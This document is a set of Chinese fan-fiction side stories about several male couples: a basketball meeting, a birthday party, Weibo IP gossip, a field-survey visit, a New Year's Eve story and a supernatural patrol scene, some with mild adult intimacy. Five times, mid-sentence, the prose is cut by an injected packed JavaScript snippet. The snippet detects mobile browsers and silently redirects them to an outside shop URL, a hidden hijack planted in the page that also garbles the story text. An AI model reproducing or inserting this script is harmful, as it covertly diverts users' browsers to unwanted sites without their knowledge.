“乐乐?”夏知许喜出望外,“来得正好!乐 … … ” 还没来得及去叫人,夏知许就被宋煜拽回来,回头见他绷着脸说:“万一他哮喘犯了,我是不会管的,你送他去医院? ” “怎么会有你这么冷血的哥哥 … … ”夏知许嘴上谴责,但收回了迈向对面的脚。 而躲在对面的乐知时,一直纠结在“哥哥刚刚看到我了吗?哥哥看我了吧,是叫我过去吗”的纠结中。 挣扎一番,夏知许做出了自己最不愿意做的决定,对面前三个哥们儿说,“等我两分钟,打电话叫个人。” 十五分钟后,一个身影懒散朝他们走来,宋煜还没看清脸,就听到对方开口道,“大侄子,你没我还真是不行。” 宋煜皱眉看向许其琛,“谁是侄子?” 许其琛提醒:“你可以用排除法。” 夏知许握紧了拳头,像只被夺走竹笋的大熊猫,“滚。” 许其琛扭头,对宋煜解释,“ 他们其实关系很好的。” 宋煜很快消化了复杂的亲戚关系,点头,“叔慈侄孝。” 夏知许:“……宋煜,你会后悔的....” 宋煜觉得有趣,因此夏习清朝他握手时,给了他一种同为战友的感觉,也难得友善地握手。 “平时不见你这么好脸色。”夏知许吐槽。 宋煜:“ 夏知许,我和你叔叔做了朋友,辈分也升级了,对叔叔辈的人礼貌点。” 夏知许: …… 夏习清勾起嘴角,揽过许其琛的肩,亲热得很,弄得夏知许更烦躁,想起什么之后又道,“哎对了,那头有个长得特漂亮的小男生,好像是混血儿,我就调戏了几句,脸红到脖子根了。太可爱了。” 刚说完,气氛瞬间凝固,一时间无人接话。夏习清不解:“怎么了?” 夏知许仿佛活过来一般,爆发出狂笑。 宋煜脸色铁青。 许其琛对三人观察了一番,最后借口买水走开,打算把乐乐叫来。 爱恨情仇归爱恨情仇,三人还是上了场,打完一局对方被碾压,主动提出退赛不打了。 乐乐被许其琛带过来,看见夏习清绕开几步,钻到宋煜身后。“琛琛你认识这小孩儿啊,怎么还绕着我走,哥哥我长得像坏人吗?” 漂亮小朋友没接他的话,反而抬头看他望着宋煜,小声喊他,“哥哥..... ” 夏习清眼睛一亮, “这是你弟?” 宋煜冷着脸,不承认也不否认。 许其琛凑过去小声提醒夏习清“你可以理解成比弟弟更重要的人。” “哦~~” “夏习清你离许其琛远一点!” “是琛琛自己主动过来的~这叫投怀送抱。” “ 乐知时,谁让你跟踪我的?” “哥哥,我想跟你一起出来玩嘛。” ————我是小剧场即将结尾的分隔符———— 五个人愉快地相识了。 你说什么?哦你问周自珩在哪儿?他在做小学奥数题。 加油,小升初人! (对不起你太小了你妈我都搞混了) ———————— ·馥芮白组六人第一次在夏知许生日聚会 乐知时和宋煜刚下飞机,姗姗来迟,进来的时候乐知时手里捧着一大束蓝色无尽夏,非常热情地送给了许其琛。 “其琛哥哥,好久不见!” 夏知许:哎不是我生日吗?怎么给我老婆啊? 许其琛:谁是你老婆(耳朵红),谢谢乐乐,快坐快坐,一会儿蛋糕就上啦。 说完他把花给了夏知许,小声说:我送给你,都是你的。 夏知许颇为得意,收了花,又牵了许其琛的手,揉了揉,趁着没人注意的时候亲了亲他手背。 “别闹了……” 夏习清打量宋煜,扭头对夏知许使了个眼色。 叔侄俩诡异的默契上线—— 夏知许挑眉:没骗你吧,是比以前上学那会儿更帅了吧 周自珩一把捏住夏习清的脸:不许看别人(低声) 夏习清乐了:不看不看(转过脸盯周自珩),就看你,我眼睛就长你脸上,这总行了吧 周自珩os:这还差不多 看了看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727030|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋煜,又os:怎么身边全是帅哥…… 乐乐捧着脸看向周自珩:我认识你!我看过你的电影!我特别特别喜欢你的…… 还没说完,宋煜低声打断,“手消毒了吗?” 乐知时回头,“忘记了……”乖乖伸出手让哥哥挤免洗洗手液,也忘了夸大明星那茬了。 周自珩还等着呢,于是主动问,“真的吗?你看过我演的哪部?你喜欢哪个?” 乐知时正要开口,身旁的宋煜面向夏习清,展开了第一次对话,“我记得你高中时候被很多男生表白过。” 夏习清挑了挑眉,来了兴趣,手撑着脸,“是吗?你怎么知道?” (此时周自珩的注意力又被轻松拉了回来。) 夏知许想起来了,“因为给你表白的男的,有一个还给宋煜表白过哈哈哈哈。” 许其琛有些惊讶,“真的?我从来没听你说过。” 夏习清嗤笑一声,“就他高中那胆子,他敢跟你聊男的和男的表白啊。” “你闭嘴,一会儿没你的蛋糕。”夏知许最烦他说高中的事儿。 许其琛抿着笑意,看向夏知许,结果被他捏了捏脸颊。 “都是胆小鬼,不许笑我。” 周自珩叹了一口气,“怎么你高中时候就这么多烂桃花啊。” 夏习清纠正他,“哎,什么叫烂桃花,你可别诋毁男高中生的真心。” 乐知时听完,扭头看哥哥,“原来有男生跟你表白啊。” 宋煜抬眼,“所以呢?” 乐知时有点吃味,“就……感觉我动作好慢啊,要是我早点开窍就好了。” “实在觉得可惜,”宋煜勾着笑,凑过去低声说,“你今晚回去穿上培雅校服再来一次。” “乐知时,我也想试试男高中生的真心。” 玉石:乐乐在宋煜要求下回家换上校服(脸红)告白:哥哥…… 宋煜打断:叫学长。 乐乐改口:宋煜学长……我喜欢你…… 宋煜假装冷脸:是吗?多喜欢? 乐乐:特别喜欢,我一直喜欢你,最喜欢你了。 宋煜(忍住笑,凑过去低头,像是要接吻):真的?那……这样可以吗? 乐乐主动搂脖子接吻:可以,什么都可以…… ——一小时后—— 宋煜:这么深也可以吗? 乐乐:嗯……可以的,学长…… 宋煜:这种姿势呢? 乐乐(抱住,求亲亲):嗯……学长,我喜欢你……好喜欢你啊。 23. [补档]wb公开ip&宁一宵、宋煜、夏知许联谊 ·微博公开手机ip之后,很多事情就藏不住了 比如卡团的队长在重庆拍电影这是众所周知的,所以他的ip自然也是[重庆],但是明明当天直播的时候还声称自己在家的贺子炎,微博ip地址竟然也在[重庆]。 粉丝无情拆穿:敢情队长在哪儿家在哪儿啊~ 贺子炎:…… 从此之后江淼多了一个外号:贺子炎的快乐老家 而与此同时,粉丝都知道小裴最近私人行程回了美国,所以昨天小裴评论凌一微博时,ip还在[美国],然后,就在第二天晚上,小裴的ip突然变成了[广东省] 觉夏的粉丝很清楚觉夏最近趁工作少回家陪妈妈了,所以ip一直是[广东省] ip一对上,听觉cpf开始了狂欢—— 晚上在家开直播的方觉夏看到弹幕刷得飞起的[ipip],很是不解,后来弄明白怎么回事之后,突然看到一个熟悉的id送了很多礼物?,并且发送了一条弹幕 [@夏习清:小正经,该不会是你登陆了你们团老六的微博吧] 方觉夏有些窘迫,没想到弹幕一下子刷满: [双厨狂喜!!] [听觉自习联动!!!] [习清和自珩的ip一直都是北京吧] [自习早就是甜甜蜜蜜同居小情侣罢了] [小玫瑰怕不是来帮忙捂柜门的] 方觉夏正想说点什么,卧室门突然被打开了。 “觉夏,拿哪个毛巾给小……” 方觉夏立刻站起来做出噤声的动作,弄得妈妈愣在原地。 “你是说小算盘吗?我给他拿……”方觉夏立刻走出去,关上门。 弹幕上开始了新一轮发疯现场。 沙发上玩手机的夏习清笑了笑,接过周自珩端来的牛奶,在他坐下的时候亲了亲他的脸颊,调侃了一句,“你们这种正经人果然连撒谎都不会。” “你说谁?” “觉夏啊。” “不许看别人。”周自珩把他扒拉到面对自己,“看我。” 夏习清笑了,两手伸上去自然而然地勾住他的脖子,“好的老公。” ·夏知许和宋煜和宁一宵见面 夏知许(热情介绍):这是我的直系学长宁一宵,特别牛,现在是硅谷一个人工智能企业的创始人,这是我哥们儿宋煜,我俩初中就认识了,他现在是个测绘研究员(虎牙笑) 宁一宵(伸手):你好。 宋煜(握手):你好。 [接着是一段长久的沉默] 夏知许(看了看两个人):你俩这嘴长得跟摆设似的,好不容易见面不能多说两句嘛,我就知道,还得让我这个社交小能手给你俩当翻译 让我想想啊,找什么话题比较适合破冰呢? 宁一宵:要不聊聊你本科阶段的自闭模式? 宋煜(喝了一口咖啡):还有这种时候?夏知许的话一向很多。 宁一宵(漫不经心):是吗?他念大学和服丧一样。 宋煜(面无表情但内心乐了):这样啊,我大概知道为什…… 夏知许(疯狂捂嘴并偷瞄另一边正在和苏洄乐乐聊天吃蛋糕的许其琛):哥哥们,能换个话题吗?? 宁一宵(思考片刻):对了,上次我遇到了你叔叔。 夏知许(要素察觉):?? 宋煜(好整以暇):太久没见夏习清,差点忘了夏知许的辈分这么低了。 夏知许:这个辈分我坚决不承认…… 宁一宵:知许,你小时候过年要和跟你一样大的叔叔拜年拿红包吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727031|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 宋煜:以我对夏习清的了解,这种逗侄子的机会他不会放过。 宁一宵(想象了一下画面):真有意思。 夏知许:…… 宁一宵:既然这样,你以后介绍我还是别叫学长了,我和你叔叔叔父是朋友,这样辈分上比较合理。 宋煜:我赞同。 夏知许(咬牙切齿):要不你俩还是哑巴开会吧? 宁一宵:不逗你了。说点正经的,你和你暗恋的人走到一起了? 夏知许(肉眼可见地开心起来):是的,不过我们俩其实是双向暗恋。 宋煜:就是这个双向的时间未免久了一点,满打满算十年。 夏知许(怼回去):你不也是暗恋,你暗恋多久要我帮你数数吗? 宋煜(淡定):我是被告白的一方,恋爱时间比你长。 宁一宵(微笑):所以知许现在还是新手期,我都已婚了。 夏知许:你还被分手了呢? 宁一宵:嗯,不过我和苏洄是一见钟情,从遇见到恋爱也就一个月,速战速决。 夏知许(逐渐破防):但是你被分手了。 宋煜:他起码有手可以分。 夏知许(转移怒火):你拐骗你弟弟? 宁一宵(有些惊讶地看向宋煜这个看上去很正经的人):Oh, interesting. 宋煜:不是亲弟弟,不在一个户口本,没血缘关系。 夏知许:那也是你弟弟,兔子都不吃窝边草,你从小就觊觎你弟弟,你不是人? 宋煜(面无表情):如果你对做人的定义是暗恋三年分开七年连手都摸不到,第一次还在游戏里解决,那我确实不太想做人。 宁一宵(看戏真有趣,甚至想拉着小猫一起看):反方,继续。 24. 【过敏原】番外 作为一名研一新生,能在刚入组不久就跟着组内最厉害的师兄一起做外出任务,刘时齐感到无比兴奋,但他也完全没有预料到自然灾害普查任务的艰巨,几天下来人累得发懵,连吃饭的力气都没有。 可宋煜师兄完全不同,他就像个运作极其稳定的机器人,效率奇高,冷静专业,没有任何多余的情感表达,和之前的夸张传闻一样,身上几乎嗅不到“人气儿”。 就在他也开始像其他人一样,不自觉神化这位师兄时,一个突如其来的访客打破了这层机器人的壳。 那是他第一次见师兄露出那种眼神,只不过接了个电话,连开口的语气都轻了三分,没听对面说几句,便突然站起来,直直往外走,甚至忘了他们正忙着画图。 剩下的几人也都跟着扭头看向窗外,顺着宋煜的背影,他看到一个充满少年气的身影,朝宋煜跑来,那人有一头毛茸茸的短卷发,瞳色很浅,宝石一样透亮。 那天太阳很大,那个男孩儿仿佛浑身发着光,停驻在宋煜跟前,伸手拉住他的袖子,仰着脸,笑得灿烂极了。 刘时齐发现,宋煜师兄竟然下意识地张开了双臂,仿佛是要在第一时间拥抱他。 他也的确这么做了,不仅如此,还揉了他的头发,凑到他耳边说话,手很自然而然地顺着他的腰线滑下来,牵起了手,十指相扣。 这几乎比看到宋煜学长在学术上犯错还要罕见。 “他、他们……” 对面的师姐笑了,“你不知道啊?” “时齐新来的,没有经历过师兄当年公开恋情的盛况,怎么会知道呢?” “恋情?” “对啊,看到外面那个混血帅哥了吗?法学院的院草,咱们师兄的男朋友,他俩谈好久了,可甜了。” “我第一次见诶,传说中的法学院院草,长得可真好看,好精致的五官。” “那可不,要不是长成这样,怎么能把师兄这种大冰山迷的神魂颠倒?” “真想不到,原来师兄还能笑得这么温柔……” “据说还是咱们师兄暗恋多年,好不容易修成正果的呢,更想不到了吧。” “天哪……” 正聊着八卦,人就回来了。 宋煜领着乐知时简单做了介绍,乐知时为人开朗热情,拿出给他们带的礼物,一一分发。 “我给大家带了点好吃的,有曲奇,还有鲜花饼,不是很甜,味道很好的,大家工作辛苦了,吃点小点心恢复元气!” “谢谢学长!” “不不不,”乐知时连忙摆手,“我不是学长,我还是本科生。” “哈哈哈哈哈!” “对了乐乐,正好中午了,咱们一块儿吃饭吧!” “好啊好啊!” 打完饭回到位子上,宋煜靠乐知时近了些,低声说,“来也不告诉我,带这么多东西,很累吧?” 乐知时笑着摇头,凑到他耳边,“一点也不累,我超级期待,一想到马上见到你,坐车的时候都睡不着。” 小师弟听不见他们的对话,只是惊奇地发现,师兄竟然有些不自然地清了清嗓子,撇眼看向别处。 就好像……在害羞一样。 他也察觉到,只要一提到师兄的好,他的小男友就会滔滔不绝,说个不停,而师兄的眼睛仿佛长在他身上,从他出现的那个瞬间,就再也没有看过其他人,只是会在被夸得有些受不了的时候,故意给乐知时夹很多菜,连阻止方式都很别扭。 “好好吃饭。” “这个好好吃,我还想吃。”乐知时指了指宋煜餐盘里的炒蘑菇。 听罢宋煜便起了身。 “怎么了师兄?” “菜有点少,我再去打点。” 其中一个学妹提及头疼的论文,又忍不住羡慕起宋煜的学术能力,“唉,我写论文的本事要是有宋煜师兄的一半儿就好了,也不至于整天被老何吐槽。” “那你可就想多了,人宋煜师兄是天赋流,之前老何就说过,他写论文几乎都不用怎么修改的。” “别说论文了,估计宋煜学长这辈子写东西就没怎么改过吧,不像咱们,删删改改,怎么写都不对劲。” 听到这句,乐知时忽然顿了顿筷子。 他改过的。 十一次。 宋煜端着新的餐盘回来。 “发什么呆?” 乐知时笑笑,“没什么,哥哥,你动作好快啊。” 宋煜夹了一筷子,“吃吧,吃完回招待所补觉。” “那你呢?” 同组的学妹主动开口,“我们晚上可能得在山上过夜了,帐篷都带好了。” “帐篷?”乐知时两眼放光,在桌子底下抓住了宋煜的手,凑过去小声撒娇,“哥哥,我也想去,我可以陪你吗?” “外面热,招待所有空调。” “我不怕热,一个人我会睡不着的。” 宋煜一向对乐知时的软磨硬泡毫无办法,这次也是一样,尽管心里不愿意乐知时跟着他吃苦,但也舍不得留他一个人在招待所。 山上植被茂密,路不好走,但气温倒是比外面低上许多,空气也好,透着一股凉意。 乐知时不好意思当着所有人的面牵手,只拉着宋煜的背包带子,跟着他往上,仿佛回到儿时跟着哥哥爬山的时候,那时候的他多少有些娇气,爬不动便缠着撒娇。 [小煜哥哥,我太小了,爬不动了,好累呀。] [小煜哥哥,我可以坐在你腿上休息一小会儿吗?我不想坐在石头上,好硬的。] 现在想想,自己小时候可真是个小麻烦精。 也就只有宋煜才会这么惯着他吧。 “走不动了?” 宋煜停下脚步,回头,很自然地伸出手,抓住乐知时的手。 “要不要坐下休息一会儿?” 乐知时脑内还停留在坐在宋煜怀里的童年画面,听到这句,脑子里的俩小人儿一下子变成成年的他和宋煜。 “啊?不好吧……” “什么不好?”宋煜打量了他发红的耳朵,并不明白是怎么回事。 乐知时回过神,扯开话题,“没什么没什么,哥哥快走吧,大家都走好远了。” “嗯。”宋煜抬手,轻轻拨了拨乐知时散在前额的碎发。 忙了一下午,天黑的很快,各自分配好任务,架好夜间勘测的仪器,已经接近晚上十点,大家也都回到各自帐篷休息。 宋煜披了薄毯坐在帐篷口,盯着设备上变化的参数,导入到预测系统里。 “还要忙吗?” 乐知时声音很小,轻手轻脚靠到宋煜身边,下巴抵在他肩上。 没多久,宋煜便放下笔记本,将乐知时拉到自己怀中,薄毯和手臂一齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727032|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥住他。 “差不多了,等着结果就好。” “好辛苦哦。”乐知时握住宋煜的手,亲了亲他的手背,又忍不住夸他,“你工作的样子真好看,特别有魅力,大家都这么觉得。你不在的时候他们都夸你厉害。” 宋煜低头,想也不用想就知道是怎样的场面,“八成是你夸的最多。” “那我就是喜欢夸你嘛。”乐知时扭头,亲了亲宋煜的下巴,“我喜欢所有人都夸你。” 设备的暖光落在乐知时侧脸,将他的轮廓勾勒得柔和漂亮,眼睛里闪烁的光点也格外动人。 宋煜蹭了蹭他的鼻梁,声音低沉,“你有没有想过,我或许没你想象中那么好。” 乐知时笑了,“才不是,你就是这么好,你忘了你自己写的东西了吗?” 宋煜并没有第一时间理解到他的意思,眯了眯眼,以示疑惑。 乐知时转了转身子,面对面搂住宋煜的脖颈,靠在他怀中,轻声复述出从中午起便一直徘徊在他心头的字句。 那些手册的内容,他几乎能一字不落地背下来。 “这个世界这么大 ,他唯独选择了你,相信你一定是一个非常优秀的人。” 宋煜怔住了。 望着眼前的乐知时,某个瞬间,他分不清此刻和过往究竟哪一个是梦。 当初的哥哥是怀着怎样的心情写下这句话的? 乐知时难以想象,也几乎不敢去想,只觉得心痛。 他很希望自己能回到宋煜压抑而挣扎的少年时代,拉住他的手,告诉他,他写下的每一句话,在未来都只会归属他自己。 哥哥可以抱他,可以亲吻他,全世界只有哥哥可以。 “你就是最优秀的人。”他仰着脸,望着宋煜的眼睛,认真无比地告诉他,“宋煜,这个世界这么大,有这么多人,但我最喜欢你,只喜欢你。” 宋煜捏了捏他的脸颊,“甜言蜜语。” “这不是甜言蜜语,都是真心的。”乐知时亲了亲宋煜的手,说话的语气俨然一副大人模样,“对自己最爱的人是不可以吝啬夸奖的,知道了吗?” 宋煜轻笑出声。 “知道了,乐教授。” 听到这种戏称,乐知时立刻捧起宋煜的脸,“好啊,你又讽刺我。” “不是讽刺。”宋煜牵过他的手,吻了吻掌心,语气诚恳,“在表达喜欢这方面,你评到这样的职称完全没问题,这些指导也很有见地。” 不可否认,乐知时是最会爱人的人。 见他这么认真,乐知时颇有些得意,“好吧,那小宋同学以后多跟我学学,我会倾囊相授的。” 宋煜搂住他的腰,“那我还得感激你的栽培了。” “那当然,快说谢谢。”乐知时仰着脸,蹭了蹭宋煜鼻尖。 “光说谢谢太没诚意了。” 宋煜用手拨弄了一下乐知时饱满的唇瓣,指尖一点点下移,指关节屈起,轻刮了刮他的喉结。 压低的语气像是蹭在乐知时心头。 而他微凉的指尖也越过衣摆,触到暖热的腰腹,再向上,惹得乐知时一个激灵,后背几乎渗出薄汗,身子不禁往后退。 “宋煜……” “嗯?为什么要躲。”宋煜收紧了怀抱,低头吻在乐知时侧颈,压低了声音。 “小教授,先让我交一下学费,怎么样?” 25. [知许解夏]高中过年番外 年三十那天,夏知许起了个大早,遛完狗又陪妈妈去买水果,一回来就看到夏习清坐在家里沙发上,正和爸爸哥哥聊着天。 夏知许一见他笑嘻嘻的嘴脸就知道他开口要放什么屁,所以赶紧物理阻断施法,“夏习清,年三十不走亲戚你不知道啊?” 夏习清微笑道,“没办法呀,我家过年没人,家里冷冷清清的,就我一个,我不来这儿去哪儿呢。” 这话虽然茶里茶气的,但夏知许想想他家那情况,也梗在当场。 “行吧。” 夏知许的爸爸忍不住出声提醒,“知许,还没叫人。” 夏知许无语至极,看着夏习清好整以暇端坐在沙发,还掏出一封红包,就等着给出来,只能硬着头皮囫囵着叫了一声,“小叔叔……” “你这舌头跟打结了似的。” 夏知许的哥哥都忍不住笑了。 两人拌嘴已经是家里的常事,配着客厅的电视声倒也热闹。妈妈拌好馅儿把家伙都拿出来,一家人围坐在一起聊天包饺子。 夏习清和夏知许都不是会做饭的主,包起饺子来那叫一个灾难,年年现学,年年都学不会。 “你弟呢?” 夏知许刚问完,顿觉自己没眼力见儿,也没法儿撤回。 “他有家啊。”夏习清脸上看着并不在意,捏好了一个难得不露馅儿的,往板上一搁,“我悟了。” “你悟个头啊,包的什么玩意儿,还学美术的呢,一点儿也不好看。” “你包得好看,一个比一个长得离奇,一会儿自己全吃了。” “好了好了。”夏妈妈笑眯眯地,拿出一些洗干净的硬币,“馅儿不多了,要不我包几个带硬币的?谁吃到了就是明年最有福气的。” 硬币。 福气? 夏知许想到了许其琛,不知怎么很想替他攒攒福气,于是伸手就要去拿饺子皮。 谁知下一秒就被夏习清打了手背。 “你别包。” “凭什么?” “你包的辨识度太高了,丑的一眼就看出来是带硬币的,这是作弊。” 夏知许说不过他,眼看着最后一个硬币也被妈妈包了,于是起身四处搜索,最后从哥哥跟前抓了一把糖,仔细检查了口味,拆了最甜的水蜜桃味硬糖,包在自己的饺子里。 不过的确很丑,丑得只有放在自己一堆丑饺子里,才发现不了。 下饺子的时候,夏知许从自己包的那些里面挑挑拣拣,找了些不露馅的下到锅里,单独煮了一锅。 可是怎么给他呢? 难不成年三十的跑出去? 一旁的夏习清忽然恶魔低语,“你小子,不会是想把这些饺子给某人吃吧。” 夏知许太心虚,被他这话吓得一激灵,手里的漏勺差点扔出去。 夏习清笑了,一副我早就看透你的表情。 “你闭嘴。”夏知许快速捞起饺子,趁妈妈背对着他们洗餐具时找出个保温盒,把饺子都装好,然后拉着夏习清鬼鬼祟祟出了厨房,直奔玄关换鞋。 没想到被哥哥抓了个正着。 “干什么去?” “啊……我……”夏知许怀里揣着饺子,一时大脑短路,“那什么……” 哥哥低头瞥了一眼他的保温盒。 “去楼下放爆竹。”夏习清面不改色地替他圆了谎,“我刚从窗户那儿看到楼下有小孩儿放二踢脚呢。” 哥哥静了静,露出笑容,“当心点,早去早回。” “好!” 就在夏知许关门之际,又听见哥哥提醒。 “还带着吃的,是要玩儿多久,小心被抓起来。” 他更心虚了。 “大侄子,我帮你这么大一忙,怎么感谢我啊?” 还没等夏习清揽住他肩膀,夏知许一溜烟便跑了,直奔公交站,“我给你买一沓二踢脚!你去肯德基等等我!马上回来!” “哎!你不带上我啊?” 夏习清人生中第一次感受到自己大侄子有多见色忘义。 原以为夏知许去去就回,没成想这一等就是一个半小时。 夏习清终于忍受不了,打了一通电话过去,没等夏知许开口便道,“我说你们家什么家庭啊?养得起两条狗?” 夏知许知道夏习清在骂他狗,躲开了许其琛,小声说,“马上,我马上就到了。” 谁知刚说完,许其琛的声音便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727033|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从听筒传来。 [你喝不喝牛奶啊?] “哟,喝牛奶呢?夏知许,你可真狗啊,搞对象都不带你这么搞的。” 夏知许一下子急了,躲到阳台拉上门,“谁、谁搞对象了?你才搞对象!” “我搞个屁。”夏习清瞥了一眼自己座位四周围的小学生,个个拿着儿童套餐里的玩具比来比去,吵得脑瓜仁疼,“我大过节的跑肯德基跟小学生搞对象啊?” “你这嘴也就只有小学生喜欢。” “快给你叔叔滚回来,你妈打电话催我们回去吃年夜饭了!” “知道了,马上下楼。” 临走前,许其琛到门口送他,手里还攥着一盒热牛奶。 “要回去了么?” “嗯,我……那什么,你要是无聊,一会儿给我打电话。” 许其琛脸上浮现出很淡的笑意,“我不无聊,你路上小心。”他把牛奶塞到夏知许手上。 夏知许转身要走,可没走两步又回来。 “你喜欢烟花吗?” “嗯?”许其琛不明白他什么意思,慢吞吞点了点头,“嗯。” “好,我知道了。”夏知许笑了起来,露出虎牙,“许其琛,新年快乐。” 许其琛怔了怔,停留在原地好久,直到完全听不到脚步声,才迟钝地关上门。 肯德基门口,夏习清拿着买好的烟花等了半天,总算等到夏知许,“白眼儿狼,你餐盒呢?” 夏知许一愣,“完了,忘了。” “你故意的吧?故意想再回去一趟。” “你扯淡!我真忘了!” 两人又拌了一路嘴,遛弯到一个僻静处,把烟花偷着放了。夏习清买的烟花和他本人一样招摇,弄得夏知许全程胆战心惊,就怕被警察叔叔抓走。 但这个漏洞百出的年三十好歹也算有惊无险地度过了。 坐在餐桌前,陪小姨吃饭的许其琛总时不时想到那颗糖,想到夏知许脸上的笑。 手机忽然响了响,打开聊天软件,特别关心的聊天框出现。 [夏知许:分享视频] [夏知许:其琛,给你看烟花。] [夏知许:喜欢吗?] 26. 非人新年小番外 除夕当天,山海的战备小组还在巡逻,因为越是年末,人妖冲突就越多,时不时在边界发生武力摩擦,年年如此。 战备七组今年也分到了巡逻任务,好在妖一向不过人的节日,卫桓也能以此说服自己这不算加班。 他穿着战备服,坐在交界处的一栋高楼上,盯着四周围的状况,没多久扬昇飞过来,还扔给他一包小零食。 “哪儿弄的啊?” “不豫给的,说是刚刚巡逻的时候一个人类小女孩儿给他的。” “真好,上班儿还有东西吃。”卫桓拆开吃了颗糖,扭头四处张望。 “看谁呢?” “小天鹅啊,去哪儿了,一直没看到他。” 扬昇笑了,“你以为人人都跟你似的,吊儿郎当,云永昼可认真了,就在划分给他的那个片区呢,动都不动,恪尽职守。” “这么认真?”卫桓翅膀忽地展开,笑道,“我去逗逗他。” 说完他一个俯冲,扎进夜色里。 卫桓声儿还没露,驻守在边界线的云永昼就已经感受到他的妖灵,甚至不用羲和之瞳,都能清楚地感应到。 他没说话,如他所想象的,卫桓拍了拍他的肩,又闪现到他眼前,笑得狡黠。 “每次都不上当,没意思。” 云永昼没说话,他不知道该说什么,只盯着卫桓的脸。 卫桓笑着靠到墙壁上,黑漆漆的巷子口,唯一的光源只有不远处的霓虹,蓝色的,落到他脸上。 没来由的,云永昼想到了卫桓在人类的酒吧喝醉的那天,他父母离世后失态的那一晚。 “哎,你干嘛一直盯着我,我脸上有东西吗?”卫桓摸了摸自己的脸。 云永昼这才撇开脸,“你来我这做什么?去你自己的管辖区。” 卫桓不以为然,“有什么可管辖的啊,人都忙着过年呢,哪儿有闹事的,浪费时间在这儿守着,还不如溜到人类居住区玩会儿,喝点酒什么的。” “不行。”云永昼断然拒绝。 卫桓眨了眨眼,“什么不行?不能过去?” 云永昼没看他的脸,只冷淡说,“不能喝酒。” “为什么?”卫桓早已不记得自己喝醉后抓着云永昼接吻的混账事,一脸不解,还特别执着地凑上去追问,“为什么不能喝酒?” 云永昼翅膀一展,飞起来躲开了他。 谁知卫桓也追上来,甚至凑到他眼前,“为什么啊?” 云永昼忍无可忍,毫无预警地展开光盾,格挡在他和卫桓之间。 “卧槽,眼睛都要闪瞎了。”卫桓被突如其来的光盾弄得闭上眼,“穿着战备服对友军动用妖力是犯规的,小心我举报你……” 云永昼收了光盾,平复了呼吸,“总之,哪里都不许去。” “知道了……”卫桓叹了口气,心想这家伙可真是软硬都不吃,油盐不进。 整天丧着张扑克脸,跟个冰柱子似的,也太厌世了。 “真不知道你这样的能喜欢什么……” 卫桓小声嘟囔了一句。 云永昼皱了皱眉,“你说什么?” “没什么,没什么。”卫桓嬉皮笑脸,给自己的嘴拉上了拉链,可也就安静了没两分钟,他听到不远处的人类区传来了鞭炮声,一个激灵,飞上天望了望。 “哎,云永昼,有人在偷偷放鞭炮。”卫桓招呼他,可云永昼一点也不感兴趣,他只好悻悻地下来,“可惜啊,现在人类政府不让放烟花了,不然我还能蹭个烟花表演看看。” 卫桓早就习惯了和云永昼一起时的自言自语模式,没在意他有没有回应,继续道,“小时候我还看到过,那会儿还没禁令,特别好看,除夕零点的时候,哗的一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727034|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满天都是,金灿灿的,大片大片落下来,特别美,是我爸带着我去看的。我爸他……” 话说到一半,卫桓哽住了,没在继续。 两人之间的沉默很短暂,像是空了一拍的音符。 卫桓很快调整过来,看了一眼时间,伸了个懒腰,“还有半分钟就零点换班了,终于可以歇一会儿了。” 他看向云永昼,“我们打算去吃点儿宵夜,你去吗?” 